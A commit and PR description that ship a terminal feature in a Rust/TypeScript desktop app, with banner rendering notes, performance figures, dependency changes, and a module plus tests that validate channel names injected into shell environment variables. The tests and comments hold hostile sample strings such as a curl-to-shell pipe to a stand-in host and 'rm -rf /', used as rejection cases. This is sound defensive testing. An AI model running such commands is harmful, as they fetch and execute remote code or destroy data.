feat: ship Buzz Term (#4347)

## Summary

- ship **Buzz Term** end to end: the terminal engine/runtime, mounted
desktop substrate, and user-visible naming
- add Quinn's tape-deck-inspired banner: a beveled chassis filled by the
`buzz term` wordmark, surrounded by a complete-hex field
- derive the wordmark's three-stop sweep from each theme's terminal
palette so primary, secondary, and accent roles remain visibly distinct
across all 62 shipped themes, including light themes
- paint the banner once on its own pointer-transparent canvas; PTY
rendering beneath it remains unchanged

## Banner behavior

- uses the renderer's shared `8.4 × 17` cell metrics and production
aspect ratio `2.0238`
- regenerates only for viewport/theme changes; palette switches repaint
correctly while the banner is visible
- dismisses on non-empty output from the active terminal session; empty
output and inactive sessions do not dismiss it
- fails closed below **70 columns** rather than squeezing or clipping
the wordmark
- adds **8 lines** to `terminalRenderer.ts` for shared cell metrics and
**zero lines inside `paint()`**

## Screenshots

| Buzz (light) | Buzz Dark |
|---|---|
| ![Buzz Term — Buzz
light](https://buzz.block.builderlab.xyz/media/fe4c50c1cd03645bff8f3cff588353618fd3004f320ab360165b6cb48f041eb6.png)
| ![Buzz Term — Buzz
Dark](https://buzz.block.builderlab.xyz/media/e5731f40fe020070c0b327287b4b0b6f0103adde852d0f6451ad66a0ff9d14bb.png)
|

| Kanagawa Lotus (light) | Red |
|---|---|
| ![Buzz Term — Kanagawa
Lotus](https://buzz.block.builderlab.xyz/media/260b211fe7bd232eb7faa4ec34c99baee5fed380556427c64495ceed3396a8c5.png)
| ![Buzz Term —
Red](https://buzz.block.builderlab.xyz/media/42a90830824683a0054e24649c58564134af831607736d823992181b792087d3.png)
|

Additional production-aspect finals:
[Vesper](https://buzz.block.builderlab.xyz/media/9ca6514b63f8cfb2107a85ca46f16a940c0883848e6fbc718e411af94aa13100.png),
[Min
Dark](https://buzz.block.builderlab.xyz/media/f67bd2970e5d64ffb07b1ae78ab58c847e6ebc23e7e7a48e067eb024dba64ec8.png),
and [Dark
Plus](https://buzz.block.builderlab.xyz/media/290fee08924f37d064abc687ecf3e9526ab05b87e8e56d610f23048949793dbe.png).

The screenshot harness was checked against the shipped painter at this
exact head: all **2,541 draw calls** matched on color, glyph, x, and y;
four deliberate divergence controls fired.

## Verification at `98ebc8f9048bd5f0ceb7e843b67874d642f0b7fd`

- desktop tests: **3,946 / 3,946**
- TypeScript: clean
- checks: pass (two pre-existing informational `useTemplate` notices
only)
- integration/e2e: PASS (independent exact-SHA lane; artifacts recorded
in the originating Buzz thread)
- artifact/dead-path sweep: clean
- redteam G1–G7: PASS
  - all six named banner emitter-deletion mutants die
- independent handwritten five-row full-wordmark fixture kills Quinn's
seven-mutant battery, including a one-pixel glyph change
- real `112 × 46` canvas-rect dismissal tests separately cover active
non-empty, active empty, and inactive non-empty output
- layer-drop and zero-draw painter mutants die; z-order and
pointer-events verified
  - CI's `tsc && vite build` includes all three banner modules
- performance at DPR 2 (worst-case measured envelope):
- one-time content paint: **~0.7–0.8 ms**, paid only when the banner is
built or its palette changes
- busy compositor, CSS `1277 × 697`, backing `2554 × 1394`: **470–497
µs/frame** for the full banner (**2.82–2.98%** of a 60 Hz frame)
- busy compositor, CSS `1920 × 1080`, backing `3840 × 2160`:
**1,139–1,212 µs/frame** (**6.83–7.27%**)
- empty, one-glyph, and full-banner controls converge: compositor cost
follows backing-layer area and DPR rather than painted-cell count
- in the actual idle welcome state, cost is below both vsync-clamped
rigs' resolution; it is not claimed as zero
- **Pane cross-rig spread: resolved at matched loop rate.** Two
independent rigs initially differed 2.3× (58–68 vs 136 µs/Mpx of backing
store; pane, CSS 1277×697 / backing 2554×1394, DPR 2). The cause of
*that* spread is rAF loop rate: the higher figure came from a
free-running loop at ~1600fps. Throttled to ~200–236fps, both rigs read
58–68 µs/Mpx (1.25–1.44% of a 60Hz frame). The busy-composite figures
quoted above remain the **unthrottled worst case** and are conservative
by ~2.3× at the pane. Not established: the mechanism and sign of
free-running distortion (one rig under-charges ~15%, the other
over-charges 2.3×), and the 1080p figure has not been re-measured
throttled.
- the layer paints only on generation/theme/resize and dismisses on
first non-empty active-session output, so the measurable busy cost is a
short-lived worst case rather than a persistent PTY paint-path tax

## Follow-ups in this PR

These are intentionally subsequent commits after the certified
static-banner head, not claims about `98ebc8f90`:

1. close the compositor metrology: remeasure the 1080p point throttled
and characterize the opposite-sign free-running rAF distortion, with
each measurement regime stated
2. add Tyler's animated honeycomb color waves, gated by
`prefers-reduced-motion`, a full 62-theme phase-sweep contrast check,
and DPR-2 per-tick performance certification
3. land the already-proven mounted theme-switch regression probe from
`RESEARCH/BUZZ_TERM_G3A_PROBE/`
4. bound the slow/hang-shaped G1-c mutant `waitFor`
5. optionally trim the generator to its ink bounding box, reducing the
minimum viewport from 70 to 62 columns

---------

Signed-off-by: tlongwell-block <109685178+tlongwell-block@users.noreply.github.com>
Signed-off-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz>
Signed-off-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz>
Signed-off-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz>
Signed-off-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz>
Co-authored-by: Dawn (sprout agent) <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@sprout-oss.stage.blox.sqprod.co>
Co-authored-by: npub1t2tgm7d8f995uqvmnm8h88sg3wnpp9a5xysjf6dg3tjmgt3ltulqdp8ehr <5a968df9a7494b4e019b9ecf739e088ba61097b4312124e9a88ae5b42e3f5f3e@buzz.block.builderlab.xyz>
Co-authored-by: npub1cc3ha7z055mu0rwwu7806t2wt8mj3pvu0uv5mfp2c50dahaqhczshdalg6 <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@buzz.block.builderlab.xyz>
Co-authored-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz>
Co-authored-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz>
Co-authored-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz>
Co-authored-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz>
This commit is contained in:
Tyler
2026-08-03 21:51:17 -04:00
committed by GitHub
parent b42b093613
commit 631b05c883
76 changed files with 16191 additions and 71 deletions

View File

@@ -1023,7 +1023,7 @@ jobs:
git log -1 --format=%s | grep -qx smoke
echo "Host bash resolved and functional; git commit round-trip passed"
- name: Check (Tauri crate)
run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --target $env:TARGET
run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --workspace --all-targets --target $env:TARGET
env:
CMAKE_POLICY_VERSION_MINIMUM: "3.5"
- name: Test (Tauri crate)

View File

@@ -196,7 +196,7 @@ _ensure-migrations: _ensure-services
# Run clippy on the desktop Tauri Rust crate
desktop-tauri-clippy: _ensure-sidecar-stubs
cargo clippy --manifest-path {{desktop_tauri_manifest}} --all-targets -- -D warnings
cargo clippy --manifest-path {{desktop_tauri_manifest}} --workspace --all-targets -- -D warnings
# Check the desktop Tauri Rust crate compiles
desktop-tauri-check: _ensure-sidecar-stubs
@@ -204,7 +204,13 @@ desktop-tauri-check: _ensure-sidecar-stubs
# Run desktop Tauri Rust unit tests
desktop-tauri-test: _ensure-sidecar-stubs
cd desktop/src-tauri && cargo test
cd desktop/src-tauri && cargo test --workspace
# Run the native terminal latency gate explicitly on a known-idle host.
# This is intentionally excluded from shared CI: scheduler contention makes a
# wall-clock assertion flaky, and the release profile is the shipped shape.
desktop-terminal-performance-test:
cargo test --manifest-path desktop/src-tauri/crates/buzz-terminal/Cargo.toml --release --test latency g3_renderer_acquire_stays_within_frame_budget -- --ignored --exact --nocapture
# Verify compiled-flag behavior under both compile states (clean + internal).
# Runs the observer_archive focused test twice with independently supplied

View File

@@ -30,6 +30,7 @@
"@emoji-mart/data": "^1.2.1",
"@emoji-mart/react": "^1.1.1",
"@fontsource-variable/inter": "^5.2.8",
"@fontsource/jetbrains-mono": "^5.3.0",
"@mediapipe/tasks-vision": "^0.10.35",
"@radix-ui/react-alert-dialog": "^1.1.15",
"@radix-ui/react-avatar": "^1.1.11",
@@ -90,9 +91,11 @@
"@tanstack/router-plugin": "^1.167.12",
"@tanstack/virtual-file-routes": "^1.161.7",
"@tauri-apps/cli": "~2.11",
"@testing-library/react": "^16.3.2",
"@types/react": "^19.1.8",
"@types/react-dom": "^19.1.6",
"@vitejs/plugin-react": "^6.0.0",
"jsdom": "^27.4.0",
"nostr-tools": "^2.23.3",
"postcss": "^8.5.8",
"tailwindcss": "^4.3.0",

View File

@@ -94,6 +94,7 @@ export default defineConfig({
"**/live-broadcast-reply-timeline.spec.ts",
"**/markdown-parse-cache.spec.ts",
"**/overscroll-boundary.spec.ts",
"**/terminal-wheel.spec.ts",
"**/cold-switch-longtask.perf.ts",
"**/timeline-no-shift.spec.ts",
"**/human-edit-agent-content.spec.ts",

View File

@@ -9,6 +9,14 @@ const MAX_LINES = 1000;
const rules = [
{ root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES },
// Workspace member crates. Without this the ratchet's only Rust root is
// `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the
// repo's one size discipline -- silently, since the check still exits 0.
{
root: "src-tauri/crates",
extensions: new Set([".rs"]),
maxLines: MAX_LINES,
},
{
root: "src/app",
extensions: new Set([".ts", ".tsx"]),

View File

@@ -98,6 +98,30 @@ dependencies = [
"memchr",
]
[[package]]
name = "alacritty_terminal"
version = "0.26.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bda177466b9524d59f1b12f0dd30b68696788e9992a7e959021c4a0ed96fcf59"
dependencies = [
"base64 0.22.1",
"bitflags 2.13.0",
"home",
"libc",
"log",
"miow",
"parking_lot",
"piper",
"polling",
"regex-automata",
"rustix 1.1.4",
"rustix-openpty",
"signal-hook 0.4.4",
"unicode-width 0.2.2",
"vte 0.15.0",
"windows-sys 0.59.0",
]
[[package]]
name = "alloc-no-stdlib"
version = "2.0.4"
@@ -1050,6 +1074,7 @@ dependencies = [
"buzz-media",
"buzz-persona",
"buzz-sdk",
"buzz-terminal",
"buzz-voice",
"bytes",
"bzip2 0.6.1",
@@ -1082,6 +1107,7 @@ dependencies = [
"opus",
"plist",
"png 0.18.1",
"portable-pty",
"regex",
"reqwest 0.13.4",
"rodio",
@@ -1176,6 +1202,16 @@ dependencies = [
"uuid",
]
[[package]]
name = "buzz-terminal"
version = "0.1.0"
dependencies = [
"alacritty_terminal",
"libc",
"parking_lot",
"portable-pty",
]
[[package]]
name = "buzz-voice"
version = "0.1.0"
@@ -1392,6 +1428,12 @@ version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "cfg_aliases"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
[[package]]
name = "cfg_aliases"
version = "0.2.1"
@@ -1884,7 +1926,7 @@ dependencies = [
"mio",
"parking_lot",
"rustix 0.38.44",
"signal-hook",
"signal-hook 0.3.18",
"signal-hook-mio",
"winapi",
]
@@ -1902,7 +1944,7 @@ dependencies = [
"mio",
"parking_lot",
"rustix 1.1.4",
"signal-hook",
"signal-hook 0.3.18",
"signal-hook-mio",
"winapi",
]
@@ -2069,6 +2111,12 @@ dependencies = [
"cmov",
]
[[package]]
name = "cursor-icon"
version = "1.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f"
[[package]]
name = "curve25519-dalek"
version = "4.1.3"
@@ -2587,7 +2635,7 @@ dependencies = [
"rustc_version",
"toml 1.1.2+spec-1.1.0",
"vswhom",
"winreg",
"winreg 0.55.0",
]
[[package]]
@@ -4266,7 +4314,7 @@ dependencies = [
"backon",
"blake3",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"ctutils",
"data-encoding",
"derive_more",
@@ -4334,7 +4382,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a"
dependencies = [
"arc-swap",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"hickory-resolver",
"iroh-base",
@@ -4386,7 +4434,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354"
dependencies = [
"blake3",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"data-encoding",
"derive_more",
"getrandom 0.4.3",
@@ -5587,6 +5635,15 @@ dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "miow"
version = "0.6.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08"
dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "model-artifact"
version = "0.74.0"
@@ -5779,7 +5836,7 @@ version = "0.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"futures-buffered",
"futures-lite",
@@ -5969,7 +6026,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976"
dependencies = [
"atomic-waker",
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"ipnet",
"js-sys",
@@ -6004,6 +6061,18 @@ version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
[[package]]
name = "nix"
version = "0.28.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases 0.1.1",
"libc",
]
[[package]]
name = "nix"
version = "0.29.0"
@@ -6012,7 +6081,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"memoffset",
]
@@ -6025,7 +6094,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
]
@@ -6037,7 +6106,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d"
dependencies = [
"bitflags 2.13.0",
"cfg-if 1.0.4",
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
]
@@ -6067,7 +6136,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89"
dependencies = [
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"derive_more",
"noq-proto",
"noq-udp",
@@ -6115,7 +6184,7 @@ version = "1.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"socket2",
"tracing",
@@ -7427,6 +7496,27 @@ dependencies = [
"portable-atomic",
]
[[package]]
name = "portable-pty"
version = "0.9.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e"
dependencies = [
"anyhow",
"bitflags 1.3.2",
"downcast-rs",
"filedescriptor",
"lazy_static",
"libc",
"log",
"nix 0.28.0",
"serial2",
"shared_library",
"shell-words",
"winapi",
"winreg 0.10.1",
]
[[package]]
name = "portmapper"
version = "0.19.1"
@@ -7882,7 +7972,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
dependencies = [
"bytes",
"cfg_aliases",
"cfg_aliases 0.2.1",
"pin-project-lite",
"quinn-proto",
"quinn-udp",
@@ -7924,7 +8014,7 @@ version = "0.5.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"
dependencies = [
"cfg_aliases",
"cfg_aliases 0.2.1",
"libc",
"once_cell",
"socket2",
@@ -8663,6 +8753,17 @@ dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "rustix-openpty"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1de16c7c59892b870a6336f185dc10943517f1327447096bbb7bb32cd85e2393"
dependencies = [
"errno",
"libc",
"rustix 1.1.4",
]
[[package]]
name = "rustls"
version = "0.23.42"
@@ -9208,6 +9309,17 @@ dependencies = [
"serde",
]
[[package]]
name = "serial2"
version = "0.2.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730"
dependencies = [
"cfg-if 1.0.4",
"libc",
"windows-sys 0.61.2",
]
[[package]]
name = "serialize-to-javascript"
version = "0.1.2"
@@ -9308,6 +9420,22 @@ dependencies = [
"lazy_static",
]
[[package]]
name = "shared_library"
version = "0.1.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11"
dependencies = [
"lazy_static",
"libc",
]
[[package]]
name = "shell-words"
version = "1.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77"
[[package]]
name = "shellexpand"
version = "3.1.2"
@@ -9357,6 +9485,16 @@ dependencies = [
"signal-hook-registry",
]
[[package]]
name = "signal-hook"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d"
dependencies = [
"libc",
"signal-hook-registry",
]
[[package]]
name = "signal-hook-mio"
version = "0.2.5"
@@ -9365,7 +9503,7 @@ checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc"
dependencies = [
"libc",
"mio",
"signal-hook",
"signal-hook 0.3.18",
]
[[package]]
@@ -9721,7 +9859,7 @@ version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025"
dependencies = [
"vte",
"vte 0.14.1",
]
[[package]]
@@ -10583,7 +10721,7 @@ dependencies = [
"bitflags 2.13.0",
"parking_lot",
"rustix 1.1.4",
"signal-hook",
"signal-hook 0.3.18",
"windows-sys 0.61.2",
]
@@ -10634,7 +10772,7 @@ dependencies = [
"pest_derive",
"phf 0.11.3",
"sha2 0.10.9",
"signal-hook",
"signal-hook 0.3.18",
"siphasher",
"terminfo",
"termios",
@@ -11763,6 +11901,19 @@ dependencies = [
"memchr",
]
[[package]]
name = "vte"
version = "0.15.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd"
dependencies = [
"arrayvec",
"bitflags 2.13.0",
"cursor-icon",
"log",
"memchr",
]
[[package]]
name = "vtparse"
version = "0.6.2"
@@ -12833,6 +12984,15 @@ dependencies = [
"memchr",
]
[[package]]
name = "winreg"
version = "0.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
dependencies = [
"winapi",
]
[[package]]
name = "winreg"
version = "0.55.0"

View File

@@ -1,4 +1,9 @@
[workspace]
# Explicit: membership must NOT be inferred from the path-dependency edge below.
# With a bare `[workspace]` and no `members`, `cargo test/check --workspace`
# expands to a set that excludes this crate, and its gates pass green-and-empty
# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`.
members = ["crates/buzz-terminal"]
[package]
name = "buzz-desktop"
@@ -100,6 +105,8 @@ buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona
buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" }
portable-pty = "0.9"
iroh = { version = "1.0.2", optional = true }
mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }

View File

@@ -0,0 +1,18 @@
[package]
name = "buzz-terminal"
version = "0.1.0"
edition = "2021"
license = "Apache-2.0"
[dependencies]
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
portable-pty = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
[dev-dependencies]
# Tests reach into the grid to prove content survived a frame.
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"

View File

@@ -0,0 +1,103 @@
//! GUI context injected into the child shell.
//!
//! The terminal knows which channel and thread the user is looking at, so a
//! script in the substrate can act on it. That context crosses a trust
//! boundary: a channel *name* is attacker-controlled — anyone who can create
//! a channel picks the string — and it lands in an environment variable that
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
//! user opens a terminal.
//!
//! Two rules follow, and the second one is the load-bearing one:
//!
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
//! endless negotiation with an attacker who chooses the input. We accept a
//! conservative character class and reject everything else.
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
//! `evil`, which looks like a real channel. We substitute the channel UUID,
//! which is unambiguous, always safe, and visibly not a name — the user can
//! tell something was replaced.
/// Maximum accepted channel-name length, in characters.
const MAX_CHANNEL_NAME_CHARS: usize = 64;
/// The GUI state a spawned terminal is told about.
#[derive(Debug, Clone)]
pub struct GuiContext {
pub channel_id: String,
pub channel_name: String,
pub thread_id: Option<String>,
pub npub: String,
pub relay_url: String,
pub session_id: String,
}
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
///
/// Unicode letters, digits and marks are accepted so non-Latin channel names
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
/// class and therefore rejected rather than removed.
fn is_safe_channel_name(name: &str) -> bool {
!name.is_empty()
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
&& name
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
}
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
/// the channel UUID.
pub fn channel_display(context: &GuiContext) -> &str {
if is_safe_channel_name(&context.channel_name) {
&context.channel_name
} else {
&context.channel_id
}
}
/// Returns true if `key` is a well-formed POSIX env var name:
/// `[A-Za-z_][A-Za-z0-9_]*`.
///
/// Mirrors `is_well_formed_env_key` in the desktop crate
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
/// `CommandBuilder::env` will pass a key containing `=` straight into the
/// child's environ block, where `getenv("FOO")` matches whatever follows the
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
/// forge a variable the fence otherwise controls.
///
/// Every key we inject is a compile-time literal today, so this cannot fire
/// yet. It is here because the *next* injected key may not be: the check
/// belongs at the boundary, not in the reviewer's memory.
pub fn is_well_formed_env_key(key: &str) -> bool {
let mut chars = key.chars();
match chars.next() {
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
_ => return false,
}
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
}
/// The context variables to inject, in order.
///
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
/// always the UUID, so a script that needs an unambiguous identifier has one
/// that no channel name can spoof.
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
let mut vars = vec![
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
("BUZZ_CHANNEL", channel_display(context).to_owned()),
("BUZZ_NPUB", context.npub.clone()),
("BUZZ_RELAY_URL", context.relay_url.clone()),
("BUZZ_TERM_SESSION", context.session_id.clone()),
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
];
// Absent rather than empty when the user is not in a thread: `-n
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
if let Some(thread_id) = &context.thread_id {
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
}
vars
}

View File

@@ -0,0 +1,139 @@
//! T-1: the channel name is attacker-controlled and reaches a shell.
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
fn context_named(channel_name: &str) -> GuiContext {
GuiContext {
channel_id: UUID.to_owned(),
channel_name: channel_name.to_owned(),
thread_id: None,
npub: "npub1example".to_owned(),
relay_url: "wss://relay.example".to_owned(),
session_id: "session-1".to_owned(),
}
}
/// Ordinary names survive intact, including non-Latin scripts. A validator
/// that rejected these would be "safe" and useless.
#[test]
fn benign_channel_names_pass_through_unchanged() {
for name in [
"buzz-tui",
"General Chat",
"release_2.0",
"日本語チャンネル",
"Ünicode Ñames",
] {
let context = context_named(name);
assert_eq!(channel_display(&context), name, "rejected a benign name");
}
}
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
/// indistinguishable from a real channel called `evil`.
#[test]
fn hostile_channel_names_are_replaced_by_the_uuid() {
for name in [
"$(curl evil.sh|sh)",
"`id`",
"a; rm -rf /",
"a\nPS1=pwned",
"a$IFS$9",
"x=y",
"'; echo pwned; '",
"a\0b",
] {
let context = context_named(name);
let shown = channel_display(&context);
assert_eq!(
shown, UUID,
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
);
}
}
/// The substitution must be *whole*, not a filtered version of the input. A
/// strip-sanitizer passes the "no metacharacters" check while still echoing
/// attacker-chosen text.
#[test]
fn rejection_substitutes_rather_than_strips() {
let context = context_named("$(curl evil.sh|sh)");
let shown = channel_display(&context);
assert!(
!shown.contains("curl") && !shown.contains("evil"),
"attacker-chosen text survived rejection: {shown:?}"
);
}
/// Over-long names are rejected: an env var is not a place for unbounded
/// attacker input, and a 10 KB prompt is its own denial of service.
#[test]
fn over_long_channel_names_are_replaced() {
let context = context_named(&"a".repeat(65));
assert_eq!(channel_display(&context), UUID);
let ok = context_named(&"a".repeat(64));
assert_eq!(channel_display(&ok), "a".repeat(64));
}
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
/// channel name can spoof — including a channel *named* like a UUID.
#[test]
fn channel_id_is_never_the_name() {
let context = context_named("11111111-2222-3333-4444-555555555555");
let vars = context_vars(&context);
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
assert_eq!(
id.1, UUID,
"a UUID-shaped channel name displaced the real id"
);
}
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
#[test]
fn thread_id_is_absent_when_there_is_no_thread() {
let vars = context_vars(&context_named("buzz-tui"));
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
let mut context = context_named("buzz-tui");
context.thread_id = Some("thread-1".to_owned());
let vars = context_vars(&context);
assert_eq!(
vars.iter()
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
.map(|(_, v)| v.as_str()),
Some("thread-1")
);
}
/// Every injected key must be POSIX-shaped. A key containing `=` would let
